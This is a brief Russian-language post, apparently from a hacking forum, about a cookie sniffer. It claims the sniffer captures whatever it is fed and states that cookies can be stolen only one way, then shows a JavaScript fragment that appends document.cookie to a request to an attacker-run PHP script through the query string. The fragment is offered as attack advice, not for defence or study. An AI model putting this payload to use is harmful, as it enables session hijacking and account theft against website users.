этот снифер тянет все что ему дать

а куки можно утянуть только одним способом
...='http://.../1.php?'+document.cookie т.е. через QUERY_STRING